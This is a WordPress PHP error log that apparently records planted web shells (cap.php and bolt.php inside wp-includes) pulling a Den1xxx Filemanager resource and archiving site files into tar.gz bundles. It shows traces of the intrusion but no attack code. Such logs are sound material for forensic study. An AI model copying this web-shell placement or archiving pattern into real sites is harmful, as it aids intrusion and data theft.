[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Renderer.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1073
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1073): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1073
[25-Jun-2026 19:38:21 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Renderer.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1208
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1208): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:27 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:38:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Engine.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1073
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1073): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1073
[25-Jun-2026 19:38:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:14 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:18 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:36 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:57 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:57 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:06 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:15 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:13:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:25 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:30 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:40 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Diff.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1208
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1208): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 20:13:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:14:05 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:05 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Diff.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1135
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1135): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1135
[25-Jun-2026 20:14:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:14:14 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:14 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/xdiff.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1208
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1208): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 20:14:17 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:17 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:17 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:14:17 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:14:17 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:14:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:25 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:14:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:14:33 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:33 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:14:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:14:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:14:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:14:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:14:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:14:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:15:00 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
